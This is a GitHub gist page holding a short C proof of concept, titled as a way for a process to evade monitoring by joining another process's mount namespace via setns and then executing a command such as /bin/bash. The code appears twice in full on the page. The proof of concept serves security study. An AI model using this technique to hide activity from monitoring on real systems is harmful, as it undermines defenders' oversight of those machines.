Skip to content

Instantly share code, notes, and snippets.

@rkubik
Created June 6, 2018 19:14
Show Gist options
  • Save rkubik/252050623d8911b8d8bbbfbbd6f0c055 to your computer and use it in GitHub Desktop.
Save rkubik/252050623d8911b8d8bbbfbbd6f0c055 to your computer and use it in GitHub Desktop.
POC - Process evading monitoring by joining existing mount namespace
#include <stdio.h>
#include <stdlib.h>
#include <inttypes.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <linux/limits.h>
#include <stdio.h>
#include <stdlib.h>
#include <inttypes.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <linux/limits.h>
#define errExit(msg) do { perror(msg); exit(EXIT_FAILURE); } while (0)
static void _print_mnt_namespace_id(void);
static int _mnt_namespace_fd(pid_t pid);
int main(int argc, char *argv[])
{
int fd;
if (argc < 3) {
fprintf(stderr, "\n");
fprintf(stderr, "%s <pid> <cmd> <args>...\n", argv[0]);
fprintf(stderr, "\n");
fprintf(stderr, "pid\tPID of process to join the mnt namespace\n");
fprintf(stderr, "cmd\tCommand to execute after joining namespace\n");
fprintf(stderr, "args\tCommand arguments\n");
fprintf(stderr, "\n");
fprintf(stderr, "Example: %s $(pidof NetworkManager) /bin/bash\n", argv[0]);
fprintf(stderr, "\n");
exit(EXIT_FAILURE);
}
/* Get file descriptor for namespace */
fd = _mnt_namespace_fd(atoi(argv[1]));
if (fd == -1) {
errExit("open");
}
_print_mnt_namespace_id();
/* Join that namespace */
if (setns(fd, 0) == -1) {
errExit("setns");
}
_print_mnt_namespace_id();
/* Execute a command in namespace */
execvp(argv[2], &argv[2]);
errExit("execvp");
}
static void _print_mnt_namespace_id(void)
{
char proc_path[PATH_MAX];
int n;
struct stat sb;
n = snprintf(proc_path, sizeof(proc_path), "/proc/%d/ns/mnt", getpid());
if (n < 0 || (size_t)n >= sizeof(proc_path)) {
errExit("snprintf");
}
if (stat(proc_path, &sb)) {
errExit("stat");
}
printf("mnt %" PRIu32 "\n", sb.st_ino);
}
static int _mnt_namespace_fd(pid_t pid)
{
char proc_path[PATH_MAX];
int n;
n = snprintf(proc_path, sizeof(proc_path), "/proc/%d/ns/mnt", pid);
if (n < 0 || (size_t)n >= sizeof(proc_path)) {
errExit("snprintf");
}
return open(proc_path, O_RDONLY);
}
#define errExit(msg) do { perror(msg); exit(EXIT_FAILURE); } while (0)
static void _print_mnt_namespace_id(void);
static int _mnt_namespace_fd(pid_t pid);
int main(int argc, char *argv[])
{
int fd;
if (argc < 3) {
fprintf(stderr, "\n");
fprintf(stderr, "%s <pid> <cmd> <args>...\n", argv[0]);
fprintf(stderr, "\n");
fprintf(stderr, "pid\tPID of process to join the mnt namespace\n");
fprintf(stderr, "cmd\tCommand to execute after joining namespace\n");
fprintf(stderr, "args\tCommand arguments\n");
fprintf(stderr, "\n");
fprintf(stderr, "Example: %s $(pidof NetworkManager) /bin/bash\n", argv[0]);
fprintf(stderr, "\n");
exit(EXIT_FAILURE);
}
/* Get file descriptor for namespace */
fd = _mnt_namespace_fd(atoi(argv[1]));
if (fd == -1) {
errExit("open");
}
_print_mnt_namespace_id();
/* Join that namespace */
if (setns(fd, 0) == -1) {
errExit("setns");
}
_print_mnt_namespace_id();
/* Execute a command in namespace */
execvp(argv[2], &argv[2]);
errExit("execvp");
}
static void _print_mnt_namespace_id(void)
{
char proc_path[PATH_MAX];
int n;
struct stat sb;
n = snprintf(proc_path, sizeof(proc_path), "/proc/%d/ns/mnt", getpid());
if (n < 0 || (size_t)n >= sizeof(proc_path)) {
errExit("snprintf");
}
if (stat(proc_path, &sb)) {
errExit("stat");
}
printf("mnt %" PRIu32 "\n", sb.st_ino);
}
static int _mnt_namespace_fd(pid_t pid)
{
char proc_path[PATH_MAX];
int n;
n = snprintf(proc_path, sizeof(proc_path), "/proc/%d/ns/mnt", pid);
if (n < 0 || (size_t)n >= sizeof(proc_path)) {
errExit("snprintf");
}
return open(proc_path, O_RDONLY);
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment